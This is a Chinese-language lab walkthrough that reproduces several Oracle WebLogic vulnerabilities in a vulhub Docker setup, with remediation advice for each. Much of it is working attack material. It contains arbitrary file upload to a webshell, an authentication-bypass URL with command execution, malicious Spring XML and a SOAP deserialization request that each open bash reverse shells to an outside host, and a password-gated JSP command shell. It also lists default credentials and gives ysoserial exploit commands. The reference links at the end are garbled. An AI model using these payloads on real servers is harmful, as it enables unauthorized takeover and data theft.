cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录
sudo service docker start //启动docker服务
docker-compose up -d //启动
docker-compose stop //测试完毕后停止服务
docker-compose down //移除容器
Weblogic 任意文件上传漏洞(CVE-2018-2894)
漏洞成因:WebLogic 管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限
漏洞地址:
/ws_utc/begin.do /ws_utc/config.do
默认端口:7001
影响版本 WebLogic :10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
复现
启动对应得docker后,访问登录页面http://192.168.220.129:7001/console
进入靶机查看Webloic密码得密码以便于进行登录然后进行漏洞环境得配置。执行docker-compose logs | grep password。
进行登录
然后在base_domain中得高级选项(advenced)中,设置启用WEB服务测试页(Enables web service test Page),然后保存
上述设置,就是漏洞存在的环境,若是管理员如此设置对应版本得Weblogic即会导致任意文件上传得问题。
做了上述设置后,无需登录即可上传shell 了
访问http://192.168.220.129:7001/ws_utc/config.do
将当前工作目录改为其他目录,提交保存
替换目录为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
来到设置中得安全,点击添加,通过浏览上传shell即可
上传过程中抓取返回包,即可看到上传得时间戳,
shell的位置
http://192.168.220.129:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
修复建议
(1)设置config.do,begin.do页面登录授权后才能访问 (2)更新产品版本,安装安全补丁
Weblogic弱口令&文件读取漏洞
漏洞描述:weblogic后台存在一个弱口令,并且前台存在任意文件读取漏洞。weblogic密码使用AES加密,找到用户的密文与加密时的密钥即可解密。
受影响版本:weblogic版本:10.3.6(11g)
复现
通过弱口令weblogic/Oracle@123进入系统
点击部署,让点击安装,
点击上载文件
在部署档案这里点击浏览上传war文件,war 文件就是将jsp文件添加到压缩包,然后将压缩包的后缀改为.war即可。
上传完成后,一直点击下一步,知道出现保存,点击保存,则已经完成上传。
shell 地址为http://192.168.220.129:7001/shell/shell.jsp,因为我们的war包名称是shell,所以路径中会有一个shell.
冰蝎链接
Weblogic对于登录的爆破貌似有限制,不建议直接上来就爆破,常见弱口令有以下等等。
用户名 | 密码 |
---|
system | password | weblogic | weblogic | admin | security | joe | password | mary | password | system | security | wlcsystem | wlcsystem | wlpisystem | wlpisystem |
密码破解
如果网站存在任意文件下载等漏洞,我们还可以通过破解的方式获取密码。
weblogic密码使用AES加密,AES为对称加密方式,如果找到密钥/密文即可解密。
Weblogic将用户的密文与密钥保存在本地
/root/Oracle/Middleware/user_projects/domains/base_domain文件夹中,分别为如下两个文件:
./security/SerializedSystemIni.dat 密钥
./config/config.xml 密文
使用任意文件下载,下载该两个文件。 vulhub测试环境存在一个任意文件下载漏洞:
http://192.168.220.129:7001/hello/file.jsp?path=/etc/passwd
下载对应的文件,使用vulhub中自带的脚本解密即可获得weblogic的密码。
修复建议
将weblogic版本升级到最新版本。
Weblogic未认证远程命令执行(CVE-2020-14882,CVE-2020-14883)
漏洞描述:CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。
受影响版本
Weblogic : 10.3.6.0.0 Weblogic : 12.1.3.0.0 Weblogic : 12.2.1.3.0 Weblogic : 12.2.1.4.0 Weblogic : 14.1.1.0.0
漏洞复现
使用以下链接绕过weblogic认证。
http://192.168.200.129:7001/console/css/%252e%252e%252fconsole.portal
确实可以不经过认证,直接进入weblogic
但此时访问后台是一个低权限的用户,无法安装应用,也无法直接执行任意代码,也无权上传webshell。
CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。
第一种方法:com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
第一种方法只适用于Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession 第二种方法是一种更为通杀的方法,它首先在 CVE-2019-2725 中引入,可用于任何Weblogic版本。但该方法利用的缺点在于,它需要Weblogic服务器能够访问恶意XML。
http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
可以看到执行成功,创建了success1文件。
制作一个恶意的 XML 文件并将其提供在 Weblogic 可以访问的服务器上。这里我放在vps的/var/www/html目录下。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
通过访问以下链接,引入恶意xml,执行命令
http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")
反弹shell的xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vps_IP/8899 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans
记得监听对应的端口
修复建议
安装Oracle官方发布的补丁程序https://www.oracle.com/security-alerts/cpuoct2020traditional.html
Weblogic ssrf 漏洞
漏洞描述:Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
受影响版本 Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 10.0.2.0
http://192.168.220.129:7001/uddiexplorer/
SSRF漏洞存在于:http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp, 在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001:
http://192.168.220.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
原数据包为post,改为get请求仍旧可以、
端口为WEb端口且开放
端口未开放
如果访问的非http协议,则会返回did not have a valid SOAP content-type。
weblogic的的ssrf的漏洞利用与gopher协议有点像,可以直接执行多条命令,将命令以\r\n来换行,然后全部进行url编码,放在要攻击的地址的后面就行了,不过要在最前面加上一个\r\n的换行
Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271)
漏洞描述:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。CVE-2017-10271漏洞补丁修复后,CVE-2019-2725是对该漏洞的绕过。
影响版本
10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0
漏洞复现
数据包报文内容
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.220.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 644
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.220.129/8000 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
返回状态码500,反弹shell成功了。
写入木马的poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp</string>
<void method="println"><string>
<![CDATA[
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修复建议
1、下载Oracle推送补丁,下载地址如下
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;
2、根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。
weblogic_WLS-Core_Components反序列化命令执行漏洞(CVE-2018-2628)
漏洞描述
该漏洞通过T3协议触发,可导致未授权的用户在远程执行任意命令。
影响版本
Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3(项目列表)
漏洞复现
使用nmap 扫描探测
nmap -p 7001,7002 -v -n --script weblogic-t3-info 10.10.10.130
使用使用 https://www.exploit-db.com/exploits/44553 中的脚本进行复现,具体使用方法见脚本。
下载ysoserial.jar
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping www.baidu.com'
python2 exploit.py 192.168.220.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.220.1 1099 JRMPClient2
python 脚本虽然报错了,但是执行成功
可以看到发起了ping的请求,也可以反弹shell,但是不知道是不是环境原因,很卡,有时候成功
https://jackson-t.ca/runtime-exec-payloads.html
修复建议
安装官方补丁:
https://www.oracle.com/security-alerts/cpujul2020.html (2)限制T3访问来源。漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。 (3)禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。 https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html
参考
https://www.freebuf.com/articles/web/287165.html https://mp.weixin.qq.com/s/b1YUXhDQhttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rw4U_m5hP_3lc_rw https://mp.weixin.qq.cohttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rwm/s/cbrXknj3ubKZrHcUCSvHLQ
|